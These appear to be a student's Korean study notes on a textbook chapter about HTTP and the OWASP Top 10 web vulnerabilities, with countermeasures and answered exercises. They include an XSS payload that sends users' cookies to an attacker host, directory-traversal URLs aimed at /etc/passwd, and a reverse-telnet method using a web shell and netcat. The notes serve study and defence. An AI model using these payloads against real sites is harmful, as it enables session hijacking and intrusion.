01. 웹의 이해
02. HTTP
03. 웹 서비스의 이해
04. 웹 해킹의 이해
05. 웹 취약점의 이해
02. HTTP(Hyper Text Transfer Protocol)
웹에서 쓰는 프로토콜 - FTP, Telnet, HTTP, SMTP, POP..
웹 언어 - HTML, PHP(Hypertext Preprocessor), ASP(Active Server Page), JSP(Java Server Page), java, javascript..
- http 동작
클라이언트가 웹 브라우저를 이용하여 서버에 연결을 요청하면 서버는 클라이언트에 대해 서비스를 준비한다.
1) 서버가 준비된 상태일 때 클라이언트는 읽고자 하는 문서를 서버에 요청
2) 서버는 웹 문서 중에서 클라이언트가 요청한 것을 클라이언트에 전송하고
3) 연결을 끝는다
2.HTTP Request
:웹 서버에 데이터를 요청하거나 전송할 때 보내는 패킷으로 GET, POST와 같은 메서드를 주로 사용한다.
- GET
가장 일반적인 형태로 요청 데이터의 인수를 URL을 통해 전송.
데이터가 주소 입력란에 표시되기 때문에 보안 취약
- POST
URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송하기 때문에 보안이 되지만 GET에 비해 처리 속도가 상대적으로 느림.
그 외
- HEAD 방식: 서버 측의 데이터를 검색하고 요청하는 데 사용됨
- OPTION 방식: 자원에 대한 요구/응답 관계에서 관련된 선택 사항의 정보를 요청할 때 사용.
- PUT 방식: 메시지에 포함되어 있는 데이터를 지정한 URL 장소에 그 이름으로 저장
- DELETE 방식: URL에 지정되어 있는 자원을 서버에서 지울 수 있게 함
- TRACE 방식: 요구 메시지의 최종 수신처까지 루프백을 검사하는 용도.(클라이언트가 보내는 요구 메시지가 거쳐가는 프락시나 게이트웨이의 중간 경로와 최종 수신 서버까지 이르는 경로를 알아내는 데 사용)
3.HTTP Response
Request에 대한 응답 패킷. 데이터의 형식, 길이 등 MIME 형식으로 표현되어 헤더 뒤에는 실제 데이터가 전달됨.
100번대 - 정보 전송 / 200번대 - 성공 / 300 - 리다이렉션 / 400 - 클라이언트 측 에러 / 500 - 서버 측 에러
03. 웹 서비스
04. 웹 해킹
05. 웹의 주요 취약점(OWASP TOP10)
1. 명령 삽입 취약점(A1. Injection)
: 웹 서버에서 DB로 전송되는 SQL 쿼리에는 아이디, 패스워드, 검색어 등 여러 가지 인수가 사용되는데, 인수에 추가적인 실행을 위한 코드를 넣는 것.
-클라이언트의 요청을 처리하기 위해 전송받는 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우가 있는데
이를 적절하게 필터링하지 않으면 삽입 공격에 대한 취약점이 발생
-웹 서버는 서비스 이용자에게 인증, 게시판, 검색 등 다양한 정보를 제공하기 위해 대부분 데이터베이스와 연동되어
운영되는데 DB를 이용하기 위해 웹 서버는 SQL 퀴리를 사용.
2. 인증 및 세션 관리 취약점(A2. Broken Authetication and Session Management)
#취약한 패스워드 설정
#사용자 데이터를 이용한 인증 동작
1) 공격자가 아이디와 패스워드 입력.
2) 인증 허용 값 전달(쿠키와 세션 같은 값)
3) 공격자가 새로운 페이지 접근(연결 허용과 사용자 구분의 연계가 명확하지 않은 경우 해당)
4) 계정 변경 후 접근
- 인증이나 세션 관리 기능이 올바르게 구현되지 않은 것은 공격자가 로그인을 하지 않고도 서비스 페이지에 접근할 수 있게 하거나 공격자가 다른 사용자 아이디로 접근할 수 있게 해주는 것과 마찬가지.
3. XSS 취약점(A3. Cross-Site Scripting)
: 공격자가 작성한 스크립트가 다른 사용자에게 전달되는 것. 그럼으로써 다른 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되기 때문에 사용자의 세션을 탈취하거나 웹 사이트를 변조하고 악의적인 사이트로 사용자를 이동할 수 있다.
방법
1) 공격자가 임의의 XSS 취약점이 존재하는 서버에 XSS코드를 작성하여 저장한다. 일반적으로 공격자는 임의의 사용자나 특정인이 이용하는 게시판을 공격함. <script> alert('hello')</script> 같은 코드
2) 해당 웹 서비스 사용자가 공격자가 작성해놓은지 모르고 XSS 코드에 접근한다. 사용자는 어떤 게시판의 글을 읽는 과정에서 공격자의 XSS 코드에 접근하게 됨
3) 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달한다.
4) 사용자의 시스템에서 XSS 코드가 실행된다.
5) XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료한다.
ex) <script> location.href="192.168.137.128/xss/GetCookie.asp? cookie="+document.cookie </script>
->현재 해당 문서를 읽는 사용자의 쿠키 값을 웹 서버로 전달하게 된다
4. 취약점 접근 제어(A4. Broken Access Control)
: 인증된 사용자가 수행할 수 있는 것에 대한 제한이 제대로 적용되지 않는 것.
-공격자는 이런 취약점을 악용해 사용자 계정 접근, 중요 파일 보기, 사용자 데이터 수정, 접근 권한 변경 등과 같이 권한 없는 기능을 사용하거나 데이터에 접근할 수 있다.
EX) URL 접근 제한 실패: 관리자 페이지가 추측하기 쉬운 URL이거나 인증이 필요한 페이지에 대한 인증 미처리로 인증을 우회하여 접속할 수 있는 취약점.
노출될 시 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할 수 있다
-> 대응책으로 인증 우회를 막으려면 웹에 있는 중요 페이지에 세션 값(쿠키)을 확인하는 검증 로직을 입력해두어야 한다.
#디렉터리 탐색(directory traversal): 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격 방법. 자료실에 업로드한 파일을 전용 프로그램으로 내려받는 경우 파일 이름을 필터링하지 않아서 발생하는 취약점.(공격자가 filename 변수에../list.jsp로 넣으면 현재 디렉터리가 아닌 상위 디렉터리로 가기 때문)
www.naver.com/board/download.jsp?filename=../../../../../../../etc/passwd 이렇게 입력해 /etc/passwd 파일을 다운로드 수 있으면 웹 소스가 있는 디렉터리에서 일곱 번째 상위 디렉터리가 루트 디렉터리임을 알 수 있다. 몇 번거치면 ../ 몇번
쓰면 root가 나온다는 것을 알게 됨 -> 이는 download.jsp의 인숫값인 파일 이름에서 특수문자 필터링을 하지 않아서
발생하는 취약점이다.
5. 보안 설정 오류(A5. Security Misconfiguration)
#디렉터리 리스팅(directory listing): 웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것. 관리자가 특정 디렉터리를 리스팅 못하도록 설정하면 되지만 잘 안 함
#백업 및 임시 파일 존재: 개발자들이 개발 도중이나 완료한 뒤에 웹 서버에 백업 파일이나 임시 파일을 삭제하지 않고
방치하는 경우 내부 로직, DB 접속 정보와 같은 중요한 정보를 획득할 수 있다. login.asp.bak
#미흡한 주석 관리:웹 프락시 사용 시 주석은 일반 사용자도 볼 수 있다. 주의 필요
#파일 업로드 제한 부재
#리버스 텔넷:웹 해킹으로 시스템 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법. 방화벽이 있는 시스템을 공격할 때 자주 사용.
- 방화벽의 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)에서는 80번 포트 외에 필요한 포트만 빼고 다 막아놓지만, 아웃바운드 정책(내부에서 외부로 나가는 패킷에 대한 정책)에서는 별다른 필터링을 하지 않는 경우가 많기 때문에 이를 이용함.
- 웹 서버에서 공격자의 pc로 텔넷 접속을 하려면 권한을 획득해야 한다. 보통 파일 업로드 공격을 이용하는데 웹 셸의 업로드를 통해 시스템에 명령을 입력할 수 있는 명령 창을 얻는 것.
방법
1) 명령 창 획득: 웹 브라우저에서 실행 가능한 웹 셸을 파일 업로드 등을 통해 웹 서버에 업로드하여 공격자가 명령을
입력할 수 있는 명령 창을 획득한다.
2) 리버스 텔넷용 툴 업로드: 서버 게시판의 파일 업로드 기능을 이용하여 nc(net cat)와 같은 리버스 텔넷용 툴을 업로드한다.
3) 공격자 PC의 리버스 텔넷 데몬 활성화 : 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 준비한다.
-> 대응책으로 파일 업로드를 막아야 한다. 또 asp, 리버스 텔넷 종류를 실행하지 못하도록 exe나 com과 같은 실행
파일의 업로드도 막아야 함.
6. 민감한 데이터 노출(A6. Sensitive Data Exposure)
-민감한 데이터를 보호하려면 데이터의 중요도에 따라 암호화 로직을 사용하고 DB 테이블 단위에서 암호화를 수행해야 함
7. 공격 방어 취약점(A7. Insufficient Attack Protection)
-APT 공격이 일반화되면서 보안 설루션으로 탐지하기 어렵게 되자 웹 애플리케이션 수준에서 기본적인 입력 유효성 검사를 뛰어넘어 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고함
8. CSRF 취약점(A8. Cross-site Request Forgery)
: 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격.
-기본적으로 XSS 공격과 유사하지만 XSS는 악성 스크립트가 클라이언트에서 실행되는 반면 CSRF는 사용자가 아성 스크립트를 서버에 요청한다는 차이.
EX) 공격자가 온라인 쇼핑몰에서 특정 물품을 장바구니에 넣어두고 결제는 다른 사용자를 통해 다음과 같은 형태로 수행함.
-CSRF가 성공하려면 수정, 삭제, 등록하는 과정에서 사용자를 구분하는 인숫값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 한 사용자에게만 적용되거나 인증 과정을 통해 공격을 막을 수 있다.
9. 취약점이 있는 컴포넌트 사용(A9. Using Components with Known Vulnerabilities)
-웹의 사용 환경과 목적이 다양해지면서 컴포넌트, 라이브러리, 프레임워크 및 다른 s/w 모듈이 다양하게 사용되고 있는데, 보안에 취약한 컴포넌트가 악용되는 경우에는 심각한 데이터 손실이 발생하거나 서버를 장악될 수 있음
10. 취약한 API(A10. Underprotected APIs)
-웹의 사용 환경이 다양해지면서 웹 서비스 상호 간의 연동이 많아지고 이런 활동이 api를 통해 이루어지는데 보안에 취약한 api를 사용할 경우 문제가 됨
#웹의 보안 취약점 보안
-특수문자 필터링
<,>,&,",?, / 은 XSS 취약점 / =, ;, *,. 등은 SQL 삽입 취약점
-서버 통제 작용
파일 업로드 취약점이나 특수문자 필터링을 수행할 때 주의할 점은 자바 스크립트와 같은 CSS 기반의 언어로 필터링하면 안 된다. CSS 기반의 언어는 웹 프락시를 통해 웹 브라우저에 전달되기 때문에 변조될 가능성이 있다.
필터링 로직은 ASP, JSP 등과 같은 SSS로 수행해야 함
-지속적인 세션 관리
URL 접근 제한에 실패하지 않으려면 기본적으로 모든 웹 페이지에서 세션에 대한 인증을 수행해야 한다.
연습문제
1. 최초의 네트워크는 무엇인가? 3
2. 다음과 같이 URL을 통해 요청 데이터에 대한 인수를 전송하는 HTTP Request 방식은 무엇인가? 1
www.wishfree.kr/list.php?page=1&search=test
-> GET방식은 데이터가 URL에 표시되는 방식
3. 다음 중 동적인 웹 페이지를 위한 서버 측 웹 스크립트 언어가 아닌 것은? 4
4. 구글에서 특정 도메인이 들어 있는 사이트에 대한 정보를 수집할 때 사용하는 검색 인자는 무엇인가? 2
5. 구글 검색 엔진에서 검색할 수 없도록 하기 위해 만드는 파일은 무엇인가? 2
6. SQL 삽입 공격이 가능한 경우에 대해 간단히 설명하시오.
특수문자 필터링을 하지 않은 경우 =, ;, *,.
7. 다음 중 SQL 삽입 공격에 쓸 수 있는 특수 문자열이 아닌 것은? 2
8. 웹 서버의 세션 관리 측면에서 사용자 데이터를 이용한 인증으로 인해 발생할 수 있는 문제점을 간단히 설명하시오.
사용자 데이터를 이용한 인증 : 데이터 신뢰도에 대한 증명 권한을 클라이언트에게 넘기면 클라이언트가 권한을 악용할 수 있다.
9. 웹 사이트에서 각각의 개인을 구별하기 위해 클라이언트에 저장해두는 것은 무엇인가? 1
10. XSS 취약점 공격을 수행하는 단계를 순서대로 나열하시오. ㄴ-ㄱ-ㅁ-ㄹ-ㄷ
11. 파일 다운로드 시 디렉터리를 탐색하여 파일을 다운로드하는 것을 막기 위해 필터링해야 하는 문자열은 무엇인가? 1
12. 웹 취약점 탐색 시 파일을 다운로드하기 위한 download.jsp 파일을 확인했다. 이 파일은 다음과 같은 형태로 동작한다. www.com/board/download.jsp?filename=사업계획. hwp
위의 파일을 이용해 시스템에 존재하는 /etc/passwd 파일을 다운로드하기 위한 URL을 완성하시오.
www.com/board/download.jsp?filename=(../../../etc/passwd)
13. 파일 목록을 열람할 수 있는 취약점은 무엇인가? 1
14. 리버스 텔넷에 대해 간단히 설명하시오.
-> 웹 해킹으로 시스템 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을
획득하기 위한 방법으로 방화벽이 있는 시스템을 공격할 때 자주 사용
15. 다음 중 웹 취약점을 보완하는 방안으로 적절하지 않은 것은? 3
-특수문자 필터링, 서버 통제 적용, 지속적인 세션 관리
'전공 공부 > 정보보안개론' 카테고리의 다른 글
ch7. 모바일과 IoT 보안 / 연습문제 7장 (0) | 2021.07.21 |
---|---|
ch.6 악성코드 / 연습문제 6장 (0) | 2021.07.20 |
ch.5 코드보안 / 연습문제 5장 (0) | 2021.07.14 |
ch.3 네트워크 보안 / 연습문제 (0) | 2021.07.07 |
정보보안개론 개정 3판 공부 / 2장 연습문제 (0) | 2021.06.30 |